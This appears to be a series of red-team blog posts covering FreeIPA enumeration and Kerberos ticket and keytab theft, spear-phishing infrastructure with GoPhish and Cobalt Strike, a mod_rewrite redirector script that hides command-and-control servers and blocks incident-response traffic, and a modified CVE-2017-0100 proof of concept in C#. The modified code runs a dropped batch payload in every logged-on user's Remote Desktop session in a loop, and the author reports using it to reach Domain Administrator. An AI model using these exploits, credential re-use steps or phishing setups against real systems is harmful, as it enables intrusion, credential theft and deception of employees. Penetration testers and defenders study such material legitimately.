Role-based access control (RBAC) is a hierarchical way of organizing access to the data managed by FreeIPA. Different users who perform the same tasks within an organization are typically combined into a group, and this group is made a member of a FreeIPA Role. This Role provides the member groups and users the necessary permissions to perform their assigned tasks.

Roles in FreeIPA consist of a few different elements. Each role contains a set of privileges, and those respective privileges contain a set of permissions. Roles can be applied to Users, User Groups, Hosts, Host Groups, and Services. To illustrate this concept let’s discuss the default “User Administrator” role in FreeIPA.

Enumerating the privileges of the user administrator role in FreeIPA

As the screenshot above shows the “User Administrator” role contains the following privileges:

User Administrators
Group Administrators
Stage User Administrators

We can drill down further and enumerate the permissions delegated to each privilege.

Enumerating the permissions for a given privilege

As we can see the “User Administrator” role contains quite a lot of permissions inside of the environment. Understanding the general concept and structure of roles, privileges, and permissions can be critical to identifying attack paths throughout an environment.

Enumeration via LDAP Queries

The following command can be used to retrieve all the roles inside of the lab environment:

ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local"

LDAP response data details the properties of the “User Administrator” role

Enumeration via IPA administrative tools
The following commands can be used to retrieve all of the roles, privileges, and permissions inside of the lab environment.

ipa role-find
ipa role-show <role> --all
ipa privilege-find 
ipa privilege-show <privilege> --all
ipa permission-find
ipa permission-show <permission> --all

Conclusion

Hopefully by now we have a slightly better understanding of the various different types of objects inside of a FreeIPA environment, and a little bit about their significance. As an attacker the ability to not only enumerate, but understand the significance of these objects is critical.

In the following posts of this series I will aim to cover the following:

References

Defining Host-Based Access control Rules, Fedora, https://docs.fedoraproject.org/en-US/Fedora/15/html/FreeIPA_Guide/hbac-rules.html
Defining Sudo-Rules, Fedora, https://docs.fedoraproject.org/en-US/Fedora/18/html/FreeIPA_Guide/defining-sudorules.html
Docker, FreeIPA, https://www.freeipa.org/page/Docker
FreeIPA Container, Github, https://github.com/freeipa/freeipa-container
FreeIPA Server, DockerHub, https://hub.docker.com/r/freeipa/freeipa-server/
MIT Kerberos Documentation, MIT, https://web.mit.edu/kerberos/krb5-latest/doc/
Kerberos Credential Thievery (GNU/Linux), Ronan Loftus and Arne Zismer, https://www.delaat.net/rp/2016-2017/p97/report.pdf

Attacking FreeIPA — Part I: Authentication

Mon, 25 Nov 2019 00:00:00 +0000

Recently I had the opportunity to operate inside of an environment managed by FreeIPA. I wanted to take the time to share some of the lessons I learned about FreeIPA, how it works, and my methodology behind attacking it.

First things first, what is FreeIPA, and why should I care about it?

Well to be honest I had no idea until I actually ran into it in the wild. After a bit of research, I discovered that it is an open source alternative to Microsoft Windows Active Directory, primarily used as an integrated management solution for Unix environments. Similar to Active Directory, FreeIPA implements a full LDAP directory infrastructure backed by an MIT Kerberos Key Distribution Center. It uses the Dogtag Certificate System for CA & RA certificate management, giving it the ability to handle multi-factor authentication, including smartcards. SSSD is used to integrate FreeIPA into the standard Unix authentication process.

So all together we have a Unix host management system, complete with LDAP and Kerberos that allows for multi-factor authentication.

Due to the sheer amount of content, and in an attempt to make these blog posts more readable I will be splitting them into a series. This post is aimed to cover the following:

Common Files/Environment Variables/Binaries to aid in host identification during situational awareness
Authentication inside of a FreeIPA environment with Keytab files, CCACHE Ticket files, and CCACHE Tickets stored in memory.

Situational Awareness

Linux hosts enrolled in FreeIPA domains have a few indicators that operators can triage to gain information about the host and the domain. Let’s briefly review a few files, environmental variables, and binaries that indicate the host has been enrolled into an FreeIPA domain.

The following files should be on each host enrolled in a Kerberos domain:

/etc/krb5.conf

The krb5.conf file contains the Kerberos client information required to be enrolled in the domain. This includes the locations of KDCs and admin servers for the Kerberos realms of interest, defaults for the current realm and for Kerberos applications, and mappings of hostnames onto Kerberos realms.

/etc/ipa/default.conf

This is the default configuration file for IPA servers, it is used to set system-wide defaults to be applied when running IPA clients and servers.

/etc/krb5.keytab

The krb5.keytab file is required on all hosts inside of the domain. It is required as part of the authentication process to the KDC.

There are also several environment variables that, if set, may indicate the host is enrolled in a Kerberos domain:

KRB5CCNAME

If set, this variable points to the location of the CCACHE Ticket to be used for authentication.

KRB5_KTNAME

If set, this variable points to the location of the Keytab file to be used for authentication.

KRB5_CONFIG

If set, this variable points to the location of the Kerberos configuration file.

KRB5_KDC_PROFILE

If set, this variable points to the location of the KDC configuration file, which contains additional configuration directives for the Key Distribution Center daemon.

KRB5RCACHETYPE

This variable specifies the default type of replay cache to use for servers.

KRB5RCACHEDIR

This variable specifies the default directory for replay caches used by servers.

KRB5_TRACE

This variable specifies a filename to write trace log output to. Trace logs can help illuminate decisions made internally by the Kerberos libraries.

KRB5_CLIENT_KTNAME

This variable sets the default client keytab file name.

KPROP_PORT

This variable sets the default port for kprop to use.

There are also several binaries that identify the host as enrolled in a FreeIPA Domain:

ipa

This binary is the standard for managing a FreeIPA domain. It can be used to manage hosts, users, sudo rules, and much more.

kdestroy

The kdestroy binary is used to destroy any current Kerberos tickets in the users session.

kinit

The kinit binary is used to establish, or renew Kerberos tickets.

klist

The klist binary lists any current Kerberos tickets in use, and which principals the tickets provide access to.

kpasswd

The kpasswd command is used to change a Kerberos principal’s password. kpasswd first prompts for the current Kerberos password, then prompts the user twice for the new password, and the password is changed.

ksu

Ksu can be used as an alternative to the su binary, to switch the current user context.

kswitch

The kswitch command will switch the current credential cache in use.

kvno

The kvno binary acquires a service ticket for the specified Kerberos principals and prints out the key version numbers of each.

Authentication

Understanding the underlying technologies and processes that are utilized for authentication and authorization are vital for an attacker. Without understanding each authentication mechanism, an attacker may miss valid credentials that may have enabled lateral movement, or another attack path throughout the environment. Let’s briefly review how the authentication process works in an environment managed by FreeIPA.

Since FreeIPA uses Kerberos for authentication, this process is very similar to authentication in Active Directory. In order to access resources on the domain, a user must have a valid Kerberos ticket for that resource. These tickets can be stored in a number of different locations based on the configuration of the FreeIPA domain. I will briefly review each authentication mechanism, covering how to parse and re-use that material from an attackers prospective.

CCACHE Ticket Files

When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions. From an attackers perspective this is important for the following reasons:

Valid tickets can be utilized to authenticate, without the need of the respective users plaintext password.
CCACHE tickets are highly portable. They can be downloaded and loaded onto another host without the need to renew, or validate the ticket.

Parsing a CCACHE Ticket is easily accomplished a number of different ways. The simplest method is parsing it with the klist binary.

Parsing a CCACHE Ticket with the Klist Binary.

For an attacker re-using a CCACHE Ticket is very easy. To re-use a valid CCACHE Ticket, export KRB5CCNAME to the path of the valid ticket file. The system should recognize the environment variable and will attempt to use that credential material when interacting with the domain.

Re-using a valid CCACHE Ticket File Found on Disk.

Unix Keyring

Another option for FreeIPA administrators is to store the CCACHE Tickets inside of the Linux keyring. The keyring lives inside of the kernel, and gives administrators more control over the retrieval and use of stored tickets. Tickets can be scoped in the following different ways:

KEYRING:name

Tickets are scoped to a specific named Keyring.

KEYRING:process:name

Tickets are scoped to a specific process id.

KEYRING:thread:name

Tickets are scoped to a specific thread.

KEYRING:session:name

Tickets are scoped to a specific user session.

KEYRING:persistent:uidnumber

Tickets are scoped to a specific user regardless of session.

Depending on how the administrator scoped the ticket stored inside of the Unix keyring, parsing it out may be difficult. However, the default scope for CCACHE Tickets in the Unix keyring is KEYRING:persistent:uidnumber. Fortunately if you are in the context of the user, klist can parse this information for us.

Parsing a CCACHE Ticket Stored in the Keyring.

As an attacker, re-using a CCACHE Ticket stored in the Unix keyring is fairly difficult depending on how the ticket is scoped. Fortunately @Zer1t0 from @Tarlogic has built a tool that can extract Kerberos tickets from the Unix keyring. The tool is called Tickey and can be found here.

Extracting and re-using a CCACHE Ticket stored in the Keyring with Tickey.

Keytab

Keytabs are another form of credential material that is utilized in FreeIPA, and Kerberos in general. It consists of pairs of Kerberos principals and encrypted keys that are derived from the Kerberos password associated with the principal. Since these keys are derived from the principal’s password, if that password changes the keytab will be invalidated.

Keytab files can be used to obtain a valid ticket granting ticket (TGT) for the principal it is scoped to. This authentication process does not require the password, as it contains keys derived from the password.

Parsing a Keytab file is very easy, and can be accomplished a few ways. The easiest way to parse a keytab file is with klist. The second way utilizes a great python utility that Cody Thomas has created. His KeytabParser project will parse out the principal and its relevant encrypted keys.

Parsing KeyTab Files with Klist and KeytabParser

Attackers can re-use credentials stored in keytab files by generating a CCACHE Ticket through the kinit binary.

Utilizing a Keytab File to Obtain a Valid CCACHE Ticket.

Conclusion

It is fundamental for an attacker to understand the operating environment, including various technologies in use and how they are applied. Hopefully this series can serve as a reference for operating inside of environments managed by FreeIPA. Specifically, providing a rudimentary understanding of the underlying technology and how to abuse it from an attackers prospective.

This is the first post in a series of posts documenting what I have learned operating against managed FreeIPA environments. In the following posts I will aim to cover the following:

References:

Using a Keytab, Indiana University, https://kb.iu.edu/d/aumh
MIT Kerberos Documentation, MIT, https://web.mit.edu/kerberos/krb5-latest/doc/
Kerberos Credential Thievery (GNU/Linux), Ronan Loftus and Arne Zismer, https://www.delaat.net/rp/2016-2017/p97/report.pdf
Tickey, TarlogicSecurity, https://github.com/TarlogicSecurity/tickey
KeytabParser, Cody Thomas, https://github.com/its-a-feature/KeytabParser

Spear Phishing 101

Sun, 07 May 2017 14:15:31 +0000

Spear phishing is one of the most useful tools available to gain initial access in an environment. At its core Phishing is essentially a form of social engineering designed to entice a user to reveal sensitive information, or run a payload to compromise their system. Running a successful Phishing campaign requires a few different resources and some setup. In this post I will go over the process I use to setup and run a successful Phishing campaign.

Target Identification

The first step in a successful phishing campaign is to know your target. For the purpose of this post, our target will be the fictitious organization ACME LLC.

There are a few things that we need to know about ACME to conduct the campaign.

Is this a Linux or Windows Based environment?
How are their email addresses formatted?
Is there a public login portal for the organization?
Does the organization implement email filtering?

The answers to these questions will help establish a good baseline and give us the information we need to start setting up the campaign. However, these questions are not all inclusive, and the more time you spend researching the target organization, the better; enumeration is critical.

I usually start by searching through Linkedin. I have found a lot of information by looking through employee Linkedin profiles and job postings. By determining the skills required for a new employee, and the skills of their current employees, you can learn a lot about the organization’s infrastructure.

For example, if the there is a job available for a Splunk Engineer, C# Developer, and a SOC operator. We can reasonably assume that they are using Splunk, have a SOC to respond to threats, and are primarily a Windows environment.

Another great source of OSINT can be the corporate website. These websites often have a lot of information, such as email addresses, job postings, and background information on the organization that can be useful when crafting a template.

To identify email addresses, I prefer to use a tool called SimplyEmail, made by @Killswitch_GUI. This tool was built to be an expansion of the popular tool “The Harvester.”

Another tool used to conduct reconnaissance is recon-ng. Recon-ng is a full-featured Web Reconnaissance framework written in Python. It comes loaded with independent modules and useful built-in functions. Null-Byte did an excellent overview of the tool that is available here.

Infrastructure Setup

After identifying the target and some information about the target environment, I start to setup infrastructure. The first thing needed to set up infrastructure is a few domain names. To find good domain names, I turn to expireddomains.net. Here, you can search through a list of domains that have expired to buy one that is categorized already and similar to your target.

Domainhunter is a great tool that searches through Expireddomains.net for any expired domains with a previous history of use. It can optionally query for domain reputation against services like BlueCoat and IBM X-Force.

After selecting your domain name, it’s time to begin setup. Each operator tackles infrastructure differently, but here is how I prefer to do it.

For each engagement, I set up three servers. They are as follows:

Payload Host, and Command and Control Server
SMTP Server
Redirection Server

I prefer to use Cobalt Strike to host payloads and manage C2 channels.

For an SMTP Server, I prefer to use a combination of Postfix and Dovecot. This combination allows for the segregation from the C2 server and supports IMAP to handle user responses. I made a script to automate most of the setup process. For detailed instructions, you can refer to this post.

To use this server with GoPhish, follow these instructions.

Install GoPhish by downloading and extracting the lastest release.
After extraction, edit the configuration file “config.json.”
If you are running the mail server locally, change “host: stmp.example.com:25” to “host: localhost:25”, and the username/password appropriately.
If you are running the mail server on another server; Set the mail server to accept the GoPhish server as a relay, and set “host: stmp.example.com:25” to “host: Mail Server IP:25”, and the username/password appropriately.

Here is an example configuration:

{
        "admin_server" : {
                "listen_url" : "0.0.0.0:3333",
                "use_tls" : false,
                "cert_path" : "example.crt",
                "key_path" : "example.key"
        },
        "phish_server" : {
                "listen_url" : "0.0.0.0:80",
                "use_tls" : false,
                "cert_path" : "example.crt",
                "key_path": "example.key"
        },
        "smtp" : {
                "host" : "127.0.0.1:25",
                "user" : "user",
                "pass" : "P@ssword123!"
        },
        "db_path" : "gophish.db",
        "migrations_path" : "db/migrations/"
}

After setting the configuration file, we need to add a sending profile. Here is the sending profile configuration associated with the configuration shown above.

Finally, the last server will handle payload redirection. This server will proxy our payload to the user, or redirect them away from the server. This server serves a few primary functions.

Allow live hot swapping of payloads
Protect the location of our Command and Control Server
Deliver operating system specific payloads, and handles mobile users

I made a script to automate most of the setup process. For detailed instructions, you can refer to this post. For more information of Mod_Rewrite, Jeff Dimmock has done a lot of excellent research on this topic and it can all be found on his here

Template Creation

A template can single-handedly make or break a campaign. The template is what entices the user to reveal sensitive information or run a payload and compromise their system. Templates can be simple or complex, but the best appeal to the user’s emotions. Fear, greed, curiosity, desire and sex are some of the topics I found to be especially potent.

Let’s make a template for the ACME organization. Our template will be informing employees of a change in the telework policy.

Here is the template:

Conclusion

By now we have conducted OSINT on our target, created the backend infrastructure required to support the engagement, and created some templates to send. These are great first steps in carrying out a successful phishing campaign. Remember, this guide is not perfect, and neither am I. I wanted to share the process I go through during a phishing engagement to help others and learn more myself.

If you have any suggestions to add to the post, or issues with any of the content posted here, feel free to let me know, and I will make changes accordingly. :)

Mod_Rewrite Automatic Setup

Mon, 17 Apr 2017 14:15:31 +0000

Setting up the infrastructure for a Red Team engagement can be time-consuming and arduous. Jeff Dimmock and Steve Borosh have done a lot of work to make this process easier and more transparent. They gave a great presentation that went over the fundamentals of setting up good Red Team infrastructure, as part of this effort they released a wiki.

One of the most interesting bits of tradecraft released in this talk and on Jeff’s blog is their very creative use of apache2’s mod_rewrite functionality. Mod_Rewrite is very powerful for a few reasons:

Mod_Rewrite proxy connections hide the actual location of your team server.
Mod_Rewrite user-agent redirects can be used to redirect mobile users away from a payload to a spoofed login portal.
Block specific IP addresses from your team server.
Only allow Malleable C2 traffic to the team server.

In a Red Team engagement, there are often multiple team servers and multiple redirectors in front of each team server. If a defender identifies and blocks one of the redirectors, they should be easy to recreate. However, manually setting up a mod_rewrite rule set for each redirector can be challenging and time-consuming. To make this easier, I automated the setup process and tried to include as much functionality as possible.

I will go over initial server configuration done by the script, and a few different use cases and how to quickly implement them.

Server Initialization:

In order to initialize mod_rewrite we must tell Apache to allow a .htaccess file to override rules in the apache2 configuration file(/etc/apache2/apache2.conf). In the Apache2 configuration file the default web-root is “/var/www/html/”. You can see this pictured below.

To allow the use of a .htaccess file, “AllowOverride None” needs to be changed to “AllowOverride All.”

Finally, to use mod_rewrite, we need to enable a few apache2 modules. To enable these modules manually, run:

a2enmod rewrite proxy proxy_http

The script will take care of all of this for you. Each time the script is run it will check that mod_rewrite is enabled and configured correctly. By default, it will enable and configure the default web-root of “/var/www/”, but you can specify which web-root you would like to use with the –server_root flag.

1) Only allowing Malleable C2 traffic to the team server:

To accomplish this copy the script and the Malleable C2 profile on to server you are running the redirector on.

git clone https://github.com/n0pe-sled/Apache2-Mod-Rewrite-Setup.git
git clone https://github.com/rsmudge/Malleable-C2-Profiles.git

After you have a local copy, run the script with the following parameters:

python apache_redirector_setup.py --malleable="<Path to C2 Profile>" --block_url="https://google.com" --block_mode="redirect" --allow_url="team server Address" --allow_mode="proxy"

It will process the profile and create a set of rules that implement redirection based on the C2 Profile you provided. These rules are written to “/var/www/html/” by default, but you can specify a different apache2 web-root with the –server_root flag.

2) Redirecting Mobile Users:

Mobile users can be identified by the user agent on the request. This script will set up user agent redirection for the following user agents when the –mobile_url, and –mobile_mode flags are used: android, blackberry, googlebot-mobile, iemobile, ipad, iphone, ipod, opera mobile, palmos, and webos.

If you would like to restrict any additional users they can be specified with the –block_ua flag. Here is a sample command that will setup mobile user agent redirection:

python apache_redirector_setup.py --mobile_url="<mobile site>" --block_url="https://google.com" --block_mode="redirect" --allow_url="<team server Address>" --allow_mode="proxy"  --block_ua="<any additional ua to block>"

3) Blocking Specific IP Ranges or Addresses,

This script can set up redirection based on an IP Range or an IP Address. However, its functionality is limited to single ipv4 addresses, or /8,16,24 subnets.

For example to block a single IP address:

python apache_redirector_setup.py --ip_blacklist="1.1.1.1;1.1.1.2" --block_url="https://google.com" --block_mode="redirect" --allow_url="<Team server Address>" --allow_mode="proxy

This will block the IP Addresses 1.1.1.1 and 1.1.1.2. Here is an example on how to block IP ranges:

python apache_redirector_setup.py --ip_blacklist="1.1.1;1.2;3" --block_url="https://google.com" --block_mode="redirect" --allow_url="<Team server Address>" --allow_mode="proxy

The code above will block the 1.1.1.0/24 range, 1.2.0.0/16 range, and 3.0.0.0/8 range.

4) Complex Rulesets

All of these flags can be used together except when using malleable C2. For example, let’s say that we would like a redirector that did mobile user redirection, blocked standard IR user agents, blocked a /24 network and only allowed specific request URI’s to reach the team server. The script will take each parameter and process them in this order:

1: IR Blacklisting 2: IP Blacklisting 3: UA Blacklisting 4: URI Whitelisting 5: Mobile Proxy/Redirect 6: Allow Clause

python apache_redirector_setup.py --mobile_url="https://mobile-payload.com" --mobile_mode="proxy" --valid_uris="payload;uploads" --ir --ip_blacklist="1.1.1" --block_url="https://GetBlockedNerd.com" --block_mode="redirect" --allow_url="https://Teamserver.com" --allow_mode="proxy"

Conclusion

Mod_Rewrite is very powerful and can be as simple or complicated as you make it. This script is not intended to do everything that mod_rewrite has to offer and it never will. But, this serves as a good baseline and introduction to the power of mod_rewrite. The script is available on my Github.

Huge shout out to Jeff Dimmock for guiding me through the process, and being there for me. I also have to give a shout out to all the current and former ATD members for teaching me almost everything I know about Red Teaming.

From Patch Tuesday to DA

Fri, 17 Mar 2017 14:15:31 +0000

Recently on an assessment, I was stuck in the context of a user with low privileges on a Windows Server 2012 R2 system. This server functioned as a Remote Desktop server for the organization. I knew that if we could escalate to local administrator on the server, we would be able to use mimikatz to steal Domain Administrator credentials.

I was working with Chris Myers , and we had tried almost everything. Right when we were about to move on, CVE-2017-0100 came to our attention. It was the perfect vulnerability for our situation. In theory, it should allow us to execute a payload on every user with an active session on the remote desktop server. The vulnerability and proof-of-concept exploit was submitted by James Forshaw; we modified it to fit our situation. The proof of concept uses session monikers with a DCOM activator to allow a user to start an arbitrary process in another logged on user’s session.

After analyzing the original proof of concept, we still needed to make a few modifications to fit it to our situation.

1) Identify what types of payloads were viable with this exploit, and modify how the payload is defined and executed.

Here is the original code:

Console.WriteLine("Creating Process in Session {0} after 20secs", new_session_id);
Thread.Sleep(20000);
IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id));
Uri target = new Uri(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "notepad.exe"));
server.Execute(target.AbsoluteUri);

After identifying that the target parameter was primarily just a path to an executable, the first thing we attempted was to try a Regsvr32.exe payload brought to light by Casey Smith’s blog post. However, we were unable to get the IHxHelpPaneServer server’s execute function to take parameters.

We decided that dropping a small .bat file to disk was an acceptable risk, and found a path that was accessible to every user, “C:\TEMP\”.

Here is our modified code:

Console.WriteLine("Creating Process in Session {0} after 20secs", new_session_id);
Thread.Sleep(20000);
IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id));
Uri target = new Uri("C:\\TEMP\\testing.bat");
server.Execute(target.AbsoluteUri);

2) Allow the exploit to execute code on each session instead of only one.

The original proof of concept would gather a session id for each session on the host, but then only execute code in one session.

Here is the original code:

try
{
    int current_session_id = Process.GetCurrentProcess().SessionId;
    int new_session_id = 0;
    Console.WriteLine("Waiting For a Target Session");
    while (true)
    {
        IEnumerable<int> sessions = GetSessionIds().Where(id => id != current_session_id);
        if (sessions.Count() > 0)
        {
            new_session_id = sessions.First();
            break;
        }
        Thread.Sleep(1000);
    }
}

Our situation demanded that we could execute code in each user’s context, instead of only the first session recorded. To do this we simply randomly picked a session in the existing “sessions” IEnumerable object, and use that session to execute our payload. Due to the nature of random selection, you may run code on the same user twice; however, due to time constraints, we were willing to accept that outcome.

Here is our modified code:

try
{
    int current_session_id = Process.GetCurrentProcess().SessionId;
    int new_session_id = 0;
    Console.WriteLine("Waiting For a Target Session");
    while (true)
    {
        IEnumerable<int> sessions = GetSessionIds().Where(id => id != current_session_id);
        if (sessions.Count() > 0)
        {
            Random rnd = new Random();
            int r = rnd.Next(sessions.Count());
            new_session_id = sessions.ElementAt(r);
            break;
        }
        Thread.Sleep(1000);
    }

}

3) Keep the exploit running, until we manually kill the process.

The original code would execute once and then exit. To solve this problem, we simply let the IHxHelpPaneServer execute functionality inside of a while loop.

Here is the original code:

try
{
    int current_session_id = Process.GetCurrentProcess().SessionId;
    int new_session_id = 0;
    Console.WriteLine("Waiting For a Target Session");
    while (true)
    {
        IEnumerable<int> sessions = GetSessionIds().Where(id => id != current_session_id);
        if (sessions.Count() > 0)
        {
            new_session_id = sessions.First();
            break;
        }
        Thread.Sleep(1000);
    }

    Console.WriteLine("Creating Process in Session {0} after 20secs", new_session_id);
    Thread.Sleep(20000);
    IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id));
    Uri target = new Uri(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "notepad.exe"));
    server.Execute(target.AbsoluteUri);
}
catch (Exception ex)
{
    Console.WriteLine(ex);
}

And here is our modified code:

try
{
    int current_session_id = Process.GetCurrentProcess().SessionId;
    int new_session_id = 0;
    Console.WriteLine("Waiting For a Target Session");
    while (true)
    {
        IEnumerable<int> sessions = GetSessionIds().Where(id => id != current_session_id);
        if (sessions.Count() > 0)
        {
            Random rnd = new Random();
            int r = rnd.Next(sessions.Count());
            new_session_id = sessions.ElementAt(r);
            Console.WriteLine("Creating Process in Session {0} after 20secs", new_session_id);
            Thread.Sleep(20000);
            IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id));
            Uri target = new Uri("C:\\TEMP\\testing.bat");
            server.Execute(target.AbsoluteUri);
        }
        Thread.Sleep(60000);
    }

}
catch (Exception ex)
{
    Console.WriteLine(ex);
}

In Conclusion

We understand that our modifications may not be perfect, but we were able to take James Forshaw’s amazing work and mold it to our situation. In the end, we successfully spawned shells in each user’s context on the remote desktop server. Using those privileges we were able to escalate to Domain Administrator.

None of this would be possible without James Forshaw for developing and releasing the original proof of concept, and Chris Myers for working through this problem with me!

Mail Servers Made Easy

Tue, 14 Feb 2017 14:15:31 +0000

Setting up a phishing server is a very long and tedious process. It can take hours to setup and can be compromised in minutes. The esteemed gentlemen @cptjesus and @Killswitch_GUI have already made leaps and bounds in this arena. I took everything that I learned from them on setting up a server and applied it to a bash script to automate the process. Before we get to the script, let’s go over the basics to setting up a mail server.

First, let’s outline the process, then dive deeper into each step:

Obtain a VPS/Server/IP trusted by the target
Setup Secure Access to the Server
Disable IPv6 and Remove Exim
Install SSL Certs from Let’s Encrypt
Install Dovecot and Postfix
Add Aliases
Configure DNS Entries
Test Mail Server Configuration

1) Obtain a VPS/Server/IP trusted by the target:

To use this script, you must have a Domain Name, and access to a server running Debian 8. You must have the ability to set the PTR record for the IP Address assigned to your server. There are many different options available to purchase a virtual private server(VPS). Some notable ones include DigtalFyre, Linode, and DigitalOcean

2) Setup Secure Access to the Server

The industry standard for accessing a server remotely is through SSH. Ideally, SSH should only be accessible to a single account with low privileges. Root login and password authentication should also be disabled. The Command “Setup SSH” will prompt you to create an account to be used for SSH Authentication. Once the account is setup, the script uses that account to create a “.ssh” directory. It will also edit /etc/ssh/sshd_config to only allow that user to authenticate, and prevent remote root logins.

3) Disable ipv6 and remove Exim

Debian 8 comes with the Exim mail service by default. Exim can cause problems when installing Postfix and should be removed. On the same note, IPv6 can create additional challenges and should be disabled. The command “Debian Prep” will remove Exim, and disable IPv6. The script will also prompt you for the Mail Server’s Domain Name. It will use this Domain name to change the Hostname of the System. After all of these changes, the system will reboot.

4) Install SSL Certs From Lets Encrypt

We will need a working SSL Certificate to use TLS with Postfix authentication. To create this, ensure that you have set the A record on your Domain Name to the IP address of the Server and run the “Install SSL” command. It will prompt you for the Domain Name again, and then begin the process of creating the SSL Certs.

5) Installing Postfix and Dovecot (MailServer):

Now that all of the prerequisites are complete, we can start installing the actual mail server. To make a mail server appear legitimate, it must have a reverse PTR record set up correctly and employ the following elements:

Sender Policy Framework (SPF)
DomainKeys Identified Mail (DKIM)
Domain Message Authentication, Reporting, and Conformance (DMARC)

To setup the Mail Server correctly, we need more information. After running the command “Install Mail Server” you will be prompted for the three things.

Domain Name for the mail server
A user to receive mail for the root account
Relay Host IP address

These inputs should be rather self-explanatory. The Domain name should be the same name that is set to the host in DNS. The user configured to receive email for the root account should be set to the user created when establishing SSH access. Finally, the relay host is the host that is running your phishing framework. If you are hosting your phishing framework on the same VPS then just leave this input blank. Otherwise, enter the IP address of the system hosting GoPhish or your Cobalt Strike team server.

Once the command has finished, you should see a service status report for Postfix, Dovecot, OpenDKIM, and OpenDMARC. Each of these services should report “active (running)” as pictured below.

6) Add Aliases

Once the server is up and running, we need to tell it where to send mail to and from. Using the command “Add Aliases”, assign the user account you created earlier to receive mail for root and then chose an alias to test from.

7) Configure DNS Entries

Finally, we can add DNS entries to our domain to ensure that SPF, DKIM, and DMARC are working properly. Using the command “Get DNS Entries” will print the DNS entries to the console, as shown below.

8) Testing your new mail server

To check your new mail server, send an email using the mail command! Simply run mail target@example.com on the command line, and then follow the prompts. Then check to see if the email was delivered. You can also use tools like DKIM Validator to check that DKIM is passing, and MX Toolbox for nearly everything else.

In Conclusion

Phishing is a hard and painful process, and this script is only part of the battle. Some organizations have hardened spam filters that can be incredibly difficult to get around. Things like domain categorization and domain age can help but ultimately may still not be enough. In my testing, this script will get through to Gmail inboxes on DigitalFyre’s infrastructure. However, the story is different when used with Digital Ocean. You can find the script on Github here.

I will be following up this post up with a guide on how I Phish with these servers using traditional tools like Cobalt Strike and GoPhish